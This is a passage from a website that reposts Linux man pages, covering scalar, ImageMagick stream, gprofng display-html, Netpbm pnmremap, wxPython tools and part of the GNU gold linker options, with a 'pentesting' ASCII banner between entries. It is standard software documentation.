1917 - Linux cli command scalar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command scalar and provides detailed information about the command scalar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the scalar.

NAME 🖥️ scalar 🖥️

A tool for managing large Git repositories

SYNOPSIS

scalar clone [--single-branch] [--branch <main-branch>] [--full-clone]
        [--[no-]src] <url> [<enlistment>]
scalar list
scalar register [<enlistment>]
scalar unregister [<enlistment>]
scalar run ( all | config | commit-graph | fetch | loose-objects | pack-files ) [<enlistment>]
scalar reconfigure [ --all | <enlistment> ]
scalar diagnose [<enlistment>]
scalar delete <enlistment>

DESCRIPTION

Scalar is a repository management tool that optimizes Git for use in large repositories. Scalar improves performance by configuring advanced Git settings, maintaining repositories in the background, and helping to reduce data sent across the network.

An important Scalar concept is the enlistment: this is the top-level directory of the project. It usually contains the subdirectory src/ which is a Git worktree. This encourages the separation between tracked files (inside src/) and untracked files, such as build artifacts (outside src/). When registering an existing Git worktree with Scalar whose name is not src, the enlistment will be identical to the worktree.

The scalar command implements various subcommands, and different options depending on the subcommand. With the exception of clone, list and reconfigure –all, all subcommands expect to be run in an enlistment.

The following options can be specified before the subcommand:

-C <directory>

Before running the subcommand, change the working directory. This option imitates the same option of git(1).

-c <key>=<value>

For the duration of running the specified subcommand, configure this setting. This option imitates the same option of git(1).

COMMANDS

Clone

clone [<options>] <url> [<enlistment>]

Clones the specified repository, similar to git-clone(1). By default, only commit and tree objects are cloned. Once finished, the worktree is located at <enlistment>/src.

The sparse-checkout feature is enabled (except when run with –full-clone) and the only files present are those in the top-level directory. Use git sparse-checkout set to expand the set of directories you want to see, or git sparse-checkout disable to expand to all files (see git-sparse-checkout(1) for more details). You can explore the subdirectories outside your sparse-checkout by using git ls-tree HEAD[:<directory>].

-b <name>, –branch <name>

Instead of checking out the branch pointed to by the cloned repository’s HEAD, check out the <name> branch instead.

–[no-]single-branch

Clone only the history leading to the tip of a single branch, either specified by the –branch option or the primary branch remote’s HEAD points at.

Further fetches into the resulting repository will only update the remote-tracking branch for the branch this option was used for the initial cloning. If the HEAD at the remote did not point at any branch when –single-branch clone was made, no remote-tracking branch is created.

–[no-]src

By default, scalar clone places the cloned repository within a <entlistment>/src directory. Use –no-src to place the cloned repository directly in the <enlistment> directory.

–[no-]full-clone

A sparse-checkout is initialized by default. This behavior can be turned off via –full-clone.

List

list

List enlistments that are currently registered by Scalar. This subcommand does not need to be run inside an enlistment.

Register

register [<enlistment>]

Adds the enlistment’s repository to the list of registered repositories and starts background maintenance. If <enlistment> is not provided, then the enlistment associated with the current working directory is registered.

Note: when this subcommand is called in a worktree that is called src/, its parent directory is considered to be the Scalar enlistment. If the worktree is not called src/, it itself will be considered to be the Scalar enlistment.

Unregister

unregister [<enlistment>]

Remove the specified repository from the list of repositories registered with Scalar and stop the scheduled background maintenance.

Run

scalar run ( all | config | commit-graph | fetch | loose-objects | pack-files ) [<enlistment>]

Run the given maintenance task (or all tasks, if all was specified). Except for all and config, this subcommand simply hands off to git-maintenance(1) (mapping fetch to prefetch and pack-files to incremental-repack).

These tasks are run automatically as part of the scheduled maintenance, as soon as the repository is registered with Scalar. It should therefore not be necessary to run this subcommand manually.

The config task is specific to Scalar and configures all those opinionated default settings that make Git work more efficiently with large repositories. As this task is run as part of scalar clone automatically, explicit invocations of this task are rarely needed.

Reconfigure

After a Scalar upgrade, or when the configuration of a Scalar enlistment was somehow corrupted or changed by mistake, this subcommand allows to reconfigure the enlistment.

With the –all option, all enlistments currently registered with Scalar will be reconfigured. Use this option after each Scalar upgrade.

Diagnose

diagnose [<enlistment>]

When reporting issues with Scalar, it is often helpful to provide the information gathered by this command, including logs and certain statistics describing the data shape of the current enlistment.

The output of this command is a .zip file that is written into a directory adjacent to the worktree in the src directory.

Delete

delete <enlistment>

This subcommand lets you delete an existing Scalar enlistment from your local file system, unregistering the repository.

SEE ALSO

git-clone(1), git-maintenance(1).

GIT

Part of the git(1) suite

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1918 - Linux cli command stream

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stream and provides detailed information about the command stream, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stream.

NAME 🖥️ stream 🖥️

a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats.

SYNOPSIS

stream-im6.q16 [options] input-file output-file

OVERVIEW

Stream is a lightweight tool to stream one or more pixel components of the image or portion of the image to your choice of storage formats. It writes the pixel components as they are read from the input image a row at a time making stream-im6.q16 desirable when working with large images or when you require raw pixel components.

For more information about the stream command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/stream.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/stream.php.

DESCRIPTION

Image Settings: -authenticate value decrypt image with this password -channel type apply option to select image channels -colorspace type alternate image colorspace -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -extract geometry extract area from image -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -map components one or more pixel components -monitor monitor progress -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -storage-type type pixel storage type -synchronize synchronize image to storage device -taint declare the image as modified -transparent-color color transparent color -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1919 - Linux cli command x86_64-linux-gnu-gp-display-html

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gp-display-html and provides detailed information about the command x86_64-linux-gnu-gp-display-html, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gp-display-html.

NAME 🖥️ x86_64-linux-gnu-gp-display-html 🖥️

display-html - Generate an HTML based directory structure to browse the profiles

SYNOPSIS

gprofng display html [option(s)] experiment(s)

DESCRIPTION

Process one or more experiments to generate a directory containing the index.html file that may be used to browse the experiment data.

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

–verbose
Enable verbose mode to show diagnostic messages about the processing of the data. By default verbose mode is disabled.

-d [db-vol-size], –debug[=db-vol-size]
Control the printing of run time debug information to assist with the troubleshooting, or further development of this tool. The db-vol-size parameter controls the output volume and is one from the list s, S, m, M, l, L, xl, or XL. If db-vol-size is not set, a modest amount of information is printed. This is equivalent to select s, or S. The volume of data goes up as the size increases. Note that currently l/L is equivalent to xl/XL, but this is expected to change in future updates. By default debug mode is disabled.

–highlight-percentage=value
Set a percentage value in the interval [0,100] to select and color code source lines, as well as instructions, that are within this percentage of the maximum metric value(s). The default is 90 (%). A value of zero disables this feature.

-o dirname, –output=dirname
Use dirname as the directory name to store the results in. In absence of this option, the default name is display.<n>.html. This directory is created in the current directory. The number <n> is the first positive integer number not in use in this naming scheme. An existing directory with the same name is not overwritten. In case the directory exists already, an error message is printed and the tool terminates.

-O dirname, –overwrite=dirname
Use dirname as the directory name to store the results in. In absence of this option, the default name is display.<n>.html. This directory is created in the current directory. The number <n> is the first positive integer number not in use in this naming scheme. An existing directory with the same name is silently overwritten.

-q, –quiet
Disable the display of all warning, debug, verbose and any other messages. If enabled, the settings for verbose and debug are accepted, but ignored. With this option, there is no screen output, other than errors. By default quiet mode is disabled.

–nowarnings
Disable the printing of warning messages on stdout. By default warning messages are printed.

NOTES

  • The options and values are case sensitive.

  • In this release, the option syntax has changed to be more compliant with other tools and commands. The options that used to have an on or off value only, now act as a switch. The option negates the default setting. For example, by default, verbose mode is disabled. It is enabled by using the –verbose option. The long options, those starting with --, that require a value, expect the = sign between the option and the value. While the previous syntax and choices are accepted still, we strongly recommend to change the usage of the options according to the new syntax and values. At some point, these legacy settings may no longer be accepted. To assist with the transition, a warning message is shown if the legacy syntax, or value, or both, are used.

  • The -hp option is still accepted, but it will be deprecated in a future release. Use the –highlight-percentage option instead.

  • When setting a directory name for the HTML files to be stored in, make sure that umask is set to the correct access permissions.

  • Regardless of the setting for the warning messages, if there are warnings, they are accessible through the main index.html page.

  • The tool tries to accumulate as many warnings and errors as possible, before taking action. In this way, it is easier to address multiple issues at once. As a result of this approach, it may be that the messages do not show immediately. In particular, warnings are shown towards the end of the execution, but one or more errors will terminate execution before the processing begins.

SEE ALSO

gprofng (1), gp-archive (1), gp-collect-app (1), gp-display-gui (1), gp-display-src (1), gp-display-text (1)

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1920 - Linux cli command pnmremap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmremap and provides detailed information about the command pnmremap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmremap.

.

NAME 🖥️ pnmremap 🖥️

replace colors in a PNM image with colors from another set

SYNOPSIS

pnmremap

**-mapfile=**palettefile

[-floyd|-fs|-nfloyd|-nofs]

{[-norandom]|**randomseed=**n}

[-firstisdefault]

[-verbose]

[**-missingcolor=**colorspec]

[pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmremap replaces the colors in an input image with those from a palette you specify. Where colors in the input are present in the palette, they just stay the same in the output. But where the input contains a color that is not in the palette, pnmremap gives you these choices:

  • Choose the closest color from the palette.

  • Choose the first color from the palette.

  • Use a color specified by a command option (-missing).

  • Dither. This means rather than mapping pixel by pixel, pnmremap uses colors from the palette to try to make multi-pixel regions of the output have the same average color as the input (for another kind of dithering, see ppmdither).

Two reasons to use this program are: 1) you want to reduce the number of colors in the input image; and 2) you need to feed the image to something that can handle only certain colors.

To reduce colors, you can generate the palette with pnmcolormap.

By default, pnmremap maps an input color that is not in the palette to the closest color that is in the palette. Closest means with the smallest Cartesian distance in the red, green, blue brightness space (smallest sum of the squares of the differences in red, green, and blue ITU-R Recommendation BT.709 gamma-adjusted intensities).

You can instead specify a single default color for pnmremap to use for any color in the input image that is not in the palette. Use the -missing option for this.

You can also specify that the first color in the palette image is the default. Use the -firstisdefault option for this.

The palette is simply a PNM image. The colors of the pixels in the image are the colors in the palette. Where the pixels appear in the image, and the dimensions of the image, are irrelevant. Multiple pixels of the same color are fine. However, a palette image is typically a single row with one pixel per color.

If you specify -missing, the color you so specify is in the palette in addition to whatever is in the palette image.

For historical reasons, Netpbm sometimes calls the palette a “colormap.” But it doesn’t really map anything. pnmremap creates its own map, based on the palette, to map colors from the input image to output colors.

Palette/Image Type Mismatch

In the simple case, the palette image is of the same depth (number of planes, i.e. number of components in each tuple (pixel)) as the input image and pnmremap just does a straightforward search of the palette for each input tuple (pixel). In fact, pnmremap doesn’t even care if the image is a visual image.

But what about when the depths differ? In that case, pnmremap converts the input image (in its own memory) to match the palette and then proceeds as above.

There are only two such cases in which pnmremap knows how to do the conversion: when one of them is tuple type RGB, depth 3, and the other is tuple type GRAYSCALE or BLACKANDWHITE, depth 1; and vice versa.

In any other case, pnmremap issues and error message and fails.

Note that as long as your input and palette images are PNM, they’ll always fall into one of the cases pnmremap can handle. There’s an issue only if you’re using some exotic PAM image.

Before Netpbm 10.27 (March 2005), pnmremap could not handle the case of a palette of greater depth than the input image. (It would issue an error message and fail in that case). You can use ppmtoppm to increase the depth of the input image to work around this limitation.

In any case, the output image has the same tuple type and depth as the palette image.

Multiple Image Stream

pnmremap handles a multiple image input stream, producing a multiple image output stream. The input images need not be similar in any way.

Before Netpbm 10.30 (October 2005), pnmremap ignored any image after the first.

Examples

pnmcolormap testimg.ppm 256 >palette.ppm

pnmremap -map=palette.ppm testimg.ppm >reduced_testimg.ppm

To limit colors to a certain set, a typical example is to create an image for posting on the World Wide Web, where different browsers know different colors. But all browsers are supposed to know the 216 “web safe” colors which are essentially all the colors you can represent in a PPM image with a maxval of 5. So you can do this:

pamseq 3 5 >websafe.pam

pnmremap -map=websafe.pam testimg.ppm >websafe_testimg.ppm

Another useful palette is one for the 8 color IBM TTL color set, which you can create with

pamseq 3 1 >ibmttl.pam

If you want to quantize one image to use the colors in another one, just use the second one as the palette. You don’t have to reduce it down to only one pixel of each color, just use it as is.

The output image has the same type and maxval as the palette image.

PARAMETERS

There is one parameter, which is required: The file specification of the input PNM file.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmremap recognizes the following command line options:

**-mapfile=**palettefilename
This names the file that contains the palette image.

This option is mandatory.

-floyd
-fs
-nofloyd
-nofs
These options determine whether pnmremap does Floyd-Steinberg dithering. Without Floyd-Steinberg, pnmremap selects the output color of a pixel based on the color of only the corresponding input pixel. With Floyd-Steinberg, pnmremap considers regions of pixels such that the average color of a region is the same in the output as in the input. The dithering effect appears as a dot pattern up close, but from a distance, the dots blend so that you see more colors than are present in the color map.

As an example, if your color map contains only black and white, and the input image has 4 adjacent pixels of gray, pnmremap with Floyd-Steinberg would generate output pixels black, white, black, white, which from a distance looks gray. But without Floyd-Steinberg, pnmremap would generate 4 white pixels, white being the single-pixel approximation of gray.

Floyd-Steinberg gives vastly better results on images where unmodified quantization has banding or other artifacts, especially when going to a small number of colors such as the above IBM set. However, it does take substantially more CPU time.

-fs is a synonym for -floyd. -nofs is a synonym for -nofloyd.

The default is -nofloyd.

Before Netpbm 10.46 (March 2009), dithering doesn’t work quite as you expect if the color map has a lower maxval than the input. pnmremap reduces the color resolution to the color map’s maxval before doing any dithering, so the dithering does not have the effect of making the image, at a distance, appear to have the original maxval. In current Netpbm, it does.

-norandom
This option affects a detail of the Floyd-Steinberg dithering process. It has no effect if you aren’t doing Floyd-Steinberg dithering.

By default, pnmremap initializes the error propagation accumulator to random values to avoid the appearance of unwanted patterns. This is an extension of the original Floyd-Steinberg algorithm.

A drawback of this is that the same pnmremap on the same input produces slightly different output every time, which makes comparison difficult.

With -norandom, pnmremap initializes the error accumulators to zero and the output is completely predictable.

Alternatively, you can use -randomseed to get randomization across the image, but still have repeatable results.

You cannot specify this along with -randomseed.

-norandom was new in Netpbm 10.39 (June 2007).

**-randomseed=**n
This option affects a detail of the Floyd-Steinberg dithering process. It has no effect if you aren’t doing Floyd-Steinberg dithering.

This option supplies the seed for the random number generator used in the randomization process described in the explanation of the -norandom option. If you run pnmremap twice with the same -randomseed value, you will get identical results.

If you do not specify -randomseed, pnmremap chooses a seed at random, adding another level of randomness to the dithering.

You cannot specify this along with -norandom.

This option was new in Netpbm 10.82 (March 2018).

-firstisdefault
This tells pnmremap to map any input color that is not in the palette to the first color in the palette (the color of the pixel in the top left corner of the palette image)

See DESCRIPTION .

If you specify -firstisdefault, the maxval of your input must match the maxval of your palette image.

**-missingcolor=**colorspec
This specifies the default color for pnmremap to map to a color in the input image that isn’t in the palette. color may or may not be in the palette image; it is part of the palette regardless.

colorspec is as described for the argument of the pnm_parsecolor() library routine .

If you specify -missingcolor, the maxval of your input must match the maxval of your palette image.

-verbose
Display helpful messages about the mapping process.

SEE ALSO

pnmcolormap(1) , pamlookup(1) , pnmquant(1) , ppmquantall(1) , pamdepth(1) , ppmdither(1) , ppmquant(1) , pamseq(1) , ppm(1)

HISTORY

pnmremap first appeared in Netpbm 9.23 (January 2002). Before that, its function was available only as part of the function of pnmquant (which was derived from the much older ppmquant). Color quantization really has two main subfunctions, so Netpbm 9.23 split it out into two separate programs: pnmcolormap and pnmremap and then Netpbm 9.24 replaced pnmquant with a program that simply calls pnmcolormap and pnmremap.

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmremap.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1921 - Linux cli command wxdocs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wxdocs and provides detailed information about the command wxdocs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wxdocs.

NAME 🖥️ wxdocs 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1922 - Linux cli command x86_64-linux-gnu-gold

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gold and provides detailed information about the command x86_64-linux-gnu-gold, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gold.

NAME 🖥️ x86_64-linux-gnu-gold 🖥️

The GNU ELF linker

SYNOPSIS

ld.gold [options] file

OPTIONS

–help
Report usage information

-v, –version
Report version information

-V
Report version and target information

–add-needed
Not supported

–no-add-needed
Do not copy DT_NEEDED tags from shared libraries (default)

–allow-multiple-definition Allow multiple definitions of symbols

–no-allow-multiple-definition
Do not allow multiple definitions (default)

–allow-shlib-undefined
Allow unresolved references in shared libraries

–no-allow-shlib-undefined
Do not allow unresolved references in shared libraries (default)

–apply-dynamic-relocs
Apply link-time values for dynamic relocations (default)

–no-apply-dynamic-relocs
(aarch64 only) Do not apply link-time values for dynamic relocations

–as-needed
Use DT_NEEDED only for shared libraries that are used

–no-as-needed
Use DT_NEEDED for all shared libraries (default)

-assert [ignored]
Ignored

-b [elf,binary], –format [elf,binary]
Set input format

–be8
Output BE8 format image

–build-id [=STYLE]
Generate build ID note

–build-id-chunk-size-for-treehash SIZE
Chunk size for ‘–build-id=tree’

–build-id-min-file-size-for-treehash SIZE
Minimum output file size for ‘–build-id=tree’ to work differently than ‘–build-id=sha1’

-Bdynamic -l searches for shared libraries (default)

-Bstatic -l does not search for shared libraries

-dy
alias for -Bdynamic (default)

-dn
alias for -Bstatic

-Bgroup
Use group name lookup rules for shared library

-Bshareable
Generate shared library (alias for -G/-shared)

-Bno-symbolic
Don’t bind default visibility defined symbols locally for -shared (default)

-Bsymbolic-functions
Bind default visibility defined function symbols locally for -shared

-Bsymbolic
Bind default visibility defined symbols locally for -shared

–check-sections
Check segment addresses for overlaps (default)

–no-check-sections
Do not check segment addresses for overlaps

–compress-debug-sections [none,zlib,zlib-gnu,zlib-gabi,zstd]
Compress .debug_* sections in the output file

–copy-dt-needed-entries
Not supported

–no-copy-dt-needed-entries Do not copy DT_NEEDED tags from shared libraries (default)

–cref
Output cross reference table

–no-cref
Do not output cross reference table (default)

–ctors-in-init-array
Use DT_INIT_ARRAY for all constructors (default)

–no-ctors-in-init-array
Handle constructors as directed by compiler

-d, –define-common
Define common symbols

–no-define-common
Do not define common symbols in relocatable output (default)

-dc
Alias for -d

-dp
Alias for -d

–debug [all,files,script,task][,…]
Turn on debugging

–defsym SYMBOL=EXPRESSION
Define a symbol

–demangle [=STYLE]
Demangle C++ symbols in log messages

–no-demangle
Do not demangle C++ symbols in log messages

–dependency-file FILE
Write a dependency file listing all files read

–detect-odr-violations
Look for violations of the C++ One Definition Rule

–no-detect-odr-violations
Do not look for violations of the C++ One Definition Rule (default)

–dynamic-list-data
Add data symbols to dynamic symbols

–dynamic-list-cpp-new
Add C++ operator new/delete to dynamic symbols

–dynamic-list-cpp-typeinfo Add C++ typeinfo to dynamic symbols

–dynamic-list FILE
Read a list of dynamic symbols

–emit-stub-syms
(PowerPC only) Label linker stubs with a symbol (default)

–no-emit-stub-syms
(PowerPC only) Do not label linker stubs with a symbol

-e ADDRESS, –entry ADDRESS Set program start address

–eh-frame-hdr
Create exception frame header

–no-eh-frame-hdr
Do not create exception frame header (default)

–enable-new-dtags
Enable use of DT_RUNPATH (default)

–disable-new-dtags
Disable use of DT_RUNPATH

–enable-linker-version
Put the linker version string into the .comment section

–disable-linker-version
Put the linker version string into the .note.gnu.gold-version section (default)

–no-enum-size-warning
(ARM only) Do not warn about objects with incompatible enum sizes

–exclude-libs lib,lib …
Exclude libraries from automatic export

-E, –export-dynamic
Export all dynamic symbols

–no-export-dynamic
Do not export all dynamic symbols (default)

–export-dynamic-symbol SYMBOL
Export SYMBOL to dynamic symbol table

-EB
Link big-endian objects.

-EL
Link little-endian objects.

-f SHLIB, –auxiliary SHLIB Auxiliary filter for shared object symbol table

-F SHLIB, –filter SHLIB
Filter for shared object symbol table

–fatal-warnings
Treat warnings as errors

–no-fatal-warnings
Do not treat warnings as errors (default)

-fini SYMBOL
Call SYMBOL at unload-time

–fix-arm1176
(ARM only) Fix binaries for ARM1176 erratum (default)

–no-fix-arm1176
(ARM only) Do not fix binaries for ARM1176 erratum

–fix-cortex-a8
(ARM only) Fix binaries for Cortex-A8 erratum

–no-fix-cortex-a8
(ARM only) Do not fix binaries for Cortex-A8 erratum (default)

–fix-cortex-a53-843419
(AArch64 only) Fix Cortex-A53 erratum 843419

–no-fix-cortex-a53-843419
(AArch64 only) Do not fix Cortex-A53 erratum 843419 (default)

–fix-cortex-a53-835769
(AArch64 only) Fix Cortex-A53 erratum 835769

–no-fix-cortex-a53-835769
(AArch64 only) Do not fix Cortex-A53 erratum 835769 (default)

–fix-v4bx
(ARM only) Rewrite BX rn as MOV pc, rn for ARMv4

–fix-v4bx-interworking
(ARM only) Rewrite BX rn branch to ARMv4 interworking veneer

-fuse-ld [gold,bfd]
Ignored for GCC linker option compatibility

-g
Ignored

–gc-sections
Remove unused sections

–no-gc-sections
Don’t remove unused sections (default)

–gdb-index
Generate .gdb_index section

–no-gdb-index
Do not generate .gdb_index section (default)

–gnu-unique
Enable STB_GNU_UNIQUE symbol binding (default)

–no-gnu-unique
Disable STB_GNU_UNIQUE symbol binding

-G, -shared
Generate shared library

-h FILENAME, -soname FILENAME
Set shared library name

–hash-bucket-empty-fraction FRACTION
Min fraction of empty buckets in dynamic hash

–hash-style [sysv,gnu,both]
Dynamic hash style

-i
Alias for -r

–icf [none,all,safe]
Identical Code Folding. ‘–icf=safe’ Folds ctors, dtors and functions whose pointers are definitely not taken

–icf-iterations COUNT
Number of iterations of ICF (default 3)

–incremental
Do an incremental link if possible; otherwise, do a full link and prepare output for incremental linking

–no-incremental
Do a full link (default)

–incremental-full
Do a full link and prepare output for incremental linking

–incremental-update
Do an incremental link; exit if not possible

–incremental-base FILE
Set base file for incremental linking (default is output file)

–incremental-changed
Assume files changed

–incremental-unchanged
Assume files didn’t change

–incremental-unknown
Use timestamps to check files (default)

–incremental-startup-unchanged
Assume startup files unchanged (files preceding this option)

–incremental-patch PERCENT Amount of extra space to allocate for patches (default 10)

-init SYMBOL
Call SYMBOL at load-time

-I PROGRAM, –dynamic-linker PROGRAM
Set dynamic linker path

–just-symbols FILE
Read only symbol values from FILE

–keep-files-mapped
Keep files mapped across passes (default on 64bit architectures)

–no-keep-files-mapped
Release mapped files after each pass (default on 32bit architectures)

–keep-unique SYMBOL
Do not fold this symbol during ICF

-l LIBNAME, –library LIBNAME
Search for library LIBNAME

–ld-generated-unwind-info
